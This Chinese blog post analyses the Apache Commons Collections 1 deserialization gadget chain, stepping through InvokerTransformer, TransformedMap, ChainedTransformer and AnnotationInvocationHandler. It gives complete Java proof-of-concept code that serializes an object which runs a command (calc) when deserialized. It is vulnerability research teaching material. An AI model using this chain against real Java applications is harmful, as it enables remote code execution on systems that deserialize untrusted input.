Commons Collections 利用链分析

0x00 前言

Apache CommonsApache软件基金会的项目,Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

0x01 漏洞分析

Commons Collections 1

利用版本

3.1 <= CommonsCollections <= 3.2.1

限制

JDK版本:1.7(8u71之后已修复不可利用)

分析

漏洞点:Transformer接口中InvokerTransformertransform()方法

标准的任意方法调用,方法值参数类型参数都是可控的:

  • 方法值:iMethodName
  • 参数类型:iParamTypes
  • 参数:iArgs
  • 对象:input
public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

先尝试执行危险方法transformnew一个InvokerTransformer类,并且调用transform方法。查看构造函数分别是参数名参数类型数组参数值数组,以及transform中的对象

// 构造方法:参数名,参数类型,参数值
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

代码示例

package com.example;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class CC1Test {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException {
//        Runtime.getRuntime().exec("calc");
        Runtime runtime = Runtime.getRuntime();

        // 获取Class类的实例 常用三种方法
        Class<? extends Runtime> aClass = runtime.getClass();
        Class<Runtime> runtimeClass = Runtime.class;
        Class.forName("java.lang.Runtime");

//        for (Method method : aClass.getMethods()) {
//            System.out.println(method);
//        }

//        Method execMethod = aClass.getMethod("exec", String.class);
//        execMethod.invoke(runtime, "calc");

        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

逆向查找哪个方法调用了transform方法

TransformedMap

  1. 发现TransformedMapcheckSetValue方法调用了transform方法,而valueTransformer参数刚好可以通过TransformedMap.decorate(originalMap, null, valueTransformer)来控制。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}
  • TransformedMap直接调用静态方法decorate,三个参数分别是Map map, Transformer keyTransformer, Transformer valueTransformer,新建一个map,第二个参数可为空,第三个参数valueTransformer会调用transform方法,将invokerTransformer赋值给valueTransformer,即可构造出invokerTransformer.transform(value)
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(runtime);
HashMap<Object, Object> map = new HashMap<>();
TransformedMap.decorate(map, null, invokerTransformer);
  • 查找哪里调用了checkSetValue方法,抽象类AbstractInputCheckedMapDecoratorMapEntry类的setValue方法
static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}
  1. 如果有遍历数组的地方并且最好是readObejct里调用了setValue方法,将transformedMap传入就可以执行后半条链,相当于invokerTransformer.transform(runtime)
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(runtime);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

for (Map.Entry entry : transformedMap.entrySet()) {
    entry.setValue(runtime);
}
  1. 查找后发现AnnotationInvocationHandlerreadObject方法中调用了setValue方法
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}
// ...
private void readObject(java.io.ObjectInputStream s)
       throws java.io.IOException, ClassNotFoundException {
       s.defaultReadObject();
       
       // Check to make sure that types have not evolved incompatibly
       
       AnnotationType annotationType = null;
       try {
           annotationType = AnnotationType.getInstance(type);
       } catch(IllegalArgumentException e) {
           // Class is no longer an annotation type; time to punch out
           throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
       }
       
       Map<String, Class<?>> memberTypes = annotationType.memberTypes();
       
       // If there are annotation members without values, that
       // situation is handled by the invoke method.
       for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
           String name = memberValue.getKey();
           Class<?> memberType = memberTypes.get(name);
           if (memberType != null) {  // i.e. member still exists
               Object value = memberValue.getValue();
               if (!(memberType.isInstance(value) ||
                     value instanceof ExceptionProxy)) {
                   memberValue.setValue(
                       new AnnotationTypeMismatchExceptionProxy(
                           value.getClass() + "[" + value + "]").setMember(
                               annotationType.members().get(name)));
               }
           }
       }
   }
  1. 实例化AnnotationInvocationHandler
  • 发现此类没有public修饰,只有在当前包内才可以访问,使用反射获取类,实例化AnnotationInvocationHandler时,Object o = annotationInvocationdhdlConStructor.newInstance(Target.class, transformedMap);,第一个参数为注解类型
  • Runtime runtime = Runtime.getRuntime();Runtime类不能序列化,需要通过反射构造,Class<Runtime> runtimeClass = Runtime.class;,因为Class类继承Serializable接口,可以序列化
package com.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
//        Runtime.getRuntime().exec("calc");
        Runtime runtime = Runtime.getRuntime();

        // 获取Class类的实例 常用三种方法
        Class<? extends Runtime> aClass = runtime.getClass();
        Class<Runtime> runtimeClass = Runtime.class;
        Class.forName("java.lang.Runtime");

//        for (Method method : aClass.getMethods()) {
//            System.out.println(method);
//        }

//        Method execMethod = aClass.getMethod("exec", String.class);
//        execMethod.invoke(runtime, "calc");

//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        // invokerTransformer.transform(runtime);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

//        for (Map.Entry entry : transformedMap.entrySet()) {
//            entry.setValue(runtime);
//        }

        // 反射获取类
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 反射创建 获取构造器
        Constructor<?> annotationInvocationdhdlConStructor = c.getDeclaredConstructor(Class.class, Map.class);
        // 设置可访问
        annotationInvocationdhdlConStructor.setAccessible(true);
        // 实例化 调用构造方法
        Object o = annotationInvocationdhdlConStructor.newInstance(Override.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
  • 先将反射按照InvokerTransformer.transform来实现功能,然后发现ChainedTransformer类中有自循环调用,修改后还是失败,发现问题在AnnotationInvocationHandler451行处,发现memberValue.setValue方法中的值为AnnotationTypeMismatchExceptionProxy类型,继续步入setValue方法
  • 再次步入
  • 最后回到TransformedMap.checkSetValue方法,需要控制value
  • 查看ConstantTransformer类,发现ConstantTransformer.transform方法,无论接受什么都返回Object类型的任意值,如new ConstanTransformer(Runtime.class);
1.
//        Runtime.getRuntime().exec("calc");
//        Runtime 没有继承Serializable接口 无法序列化
//        Runtime runtime = Runtime.getRuntime();
/*                                                            */
        // Class 可以序列化
        Class<Runtime> runtimeClass = Runtime.class;
        // 静态方法 第一个参数为null
        // 实例方法(非静态方法) 第一个参数不为null
        // 无参方法 第二个参数为null 有参方法第二个参数不为null
        Method getRuntime = runtimeClass.getMethod("getRuntime", null);
        // getRuntime静态方法,第一个参数为null
        Runtime runtime = (Runtime) getRuntime.invoke(null, null);
        Method exec = runtimeClass.getMethod("exec", String.class);
        // 实例方法(非静态方法),第一个参数不为null
        exec.invoke(runtime, "calc");
/*              通过InvokerTransformer转换后如下               */
        // InvokerTransformer里面方法值、参数类型、参数值
        // 方法值填:getMethod
        // 参数类型:new Class[]{} 里面按照getMethod方法的参数类型填写 第一个是String类型 第二个是Class数组
        // 参数值:new Object[]{} 里面填参数值
        Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        // 参数类型:new Class[]{} 里面按照invoke方法的参数类型填写 第一个是String类型 第二个是Class数组
        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
/*                                                            */

2.
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 验证结果
        // chainedTransformer.transform(Runtime.class);

3.
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

/*    Gadget chain:
       ObjectInputStream.readObject()
          AnnotationInvocationHandler.readObject()
             Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                   TransformedMap.get()
                      ChainedTransformer.transform()
                         ConstantTransformer.transform()
                         InvokerTransformer.transform()
                            Method.invoke()
                               Class.getMethod()
                         InvokerTransformer.transform()
                            Method.invoke()
                               Runtime.getRuntime()
                         InvokerTransformer.transform()
                            Method.invoke()
                               Runtime.exec()
    Requires:
       commons-collections
 */
public class CC1Test {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
        // 获取Class类的实例 常用三种方法
//        Class<? extends Runtime> aClass = runtime.getClass();
//        Class<Runtime> runtimeClass = Runtime.class;
//        Class.forName("java.lang.Runtime");

//        Runtime.getRuntime().exec("calc");

        // 不可以序列化的版本
//        Runtime 没有继承Serializable接口 无法序列化
//        Runtime runtime = Runtime.getRuntime();
//        Class 可以序列化
//        Class<Runtime> runtimeClass = Runtime.class;
//        静态方法getRuntime 参数类型无参
//        Method getRuntime = runtimeClass.getMethod("getRuntime", null);
        // 静态方法 第一个参数为null  无参方法 第二个参数为null
//        Runtime runtime = (Runtime) getRuntime.invoke(null, null);
//        Method exec = runtimeClass.getMethod("exec", String.class);
//        exec.invoke(runtime, "calc");

        // 可以序列化的版本
        // InvokerTransformer里面方法值、参数类型、参数值
        // 方法值填:getMethod
        // 参数类型:new Class[]{} 里面按照getMethod方法的参数类型填写 第一个是String类型 第二个是Class数组
        // 参数值:new Object[]{} 里面填参数值
//        Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        // 参数类型:new Class[]{} 里面按照invoke方法的参数类型填写 第一个是String类型 第二个是Class数组
//        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        // 反射获取类
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 反射创建 获取构造器
        Constructor<?> annotationInvocationdhdlConStructor = c.getDeclaredConstructor(Class.class, Map.class);
        // 设置可访问
        annotationInvocationdhdlConStructor.setAccessible(true);
        // 实例化 调用构造方法
        Object o = annotationInvocationdhdlConStructor.newInstance(Target.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream(filename);
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        return objectInputStream.readObject();
    }
}
LazyMap

Commons Collections 2

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇